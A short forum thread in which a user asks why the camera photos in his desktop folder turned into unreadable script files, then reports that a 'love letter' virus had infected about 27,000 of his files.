Help!(releated to file types)

[Jason1]

I downloaded pics from my digital camera to my computer, and then I put them in a folder on my desktop. I can now get into that folder and open the pictures whenever I want, or so I could for awhile. When I booted up my computer the next morning, I found that all the picture files from my digital camera that I put in the folder are now some kind of script file. Why is this? I never changed them, and now if I open them I get a bunch of crap. If I try to re-name the file type with like jpg at the end, if I try to open it I get that little box with the x in it. So if somebody would please tell me how to get these pictures back to viewable form, and so thay stay like that.

What's the code for them, like BMP, JPG, GIF, HTM, DOC, ZIP -- what's this file's code thingy?

If I put .HTM I get this

I think I may have solved the problem myself, i think it is a virus...we will see if it worked...even if It did, I think I still lost the files...i will have to re-load them to my computer...oh well...

[Jason1]

I fixed the problem myself. turns out I had 27 thousand files infected with this love letter virus. go figure. do what you like with this topic.
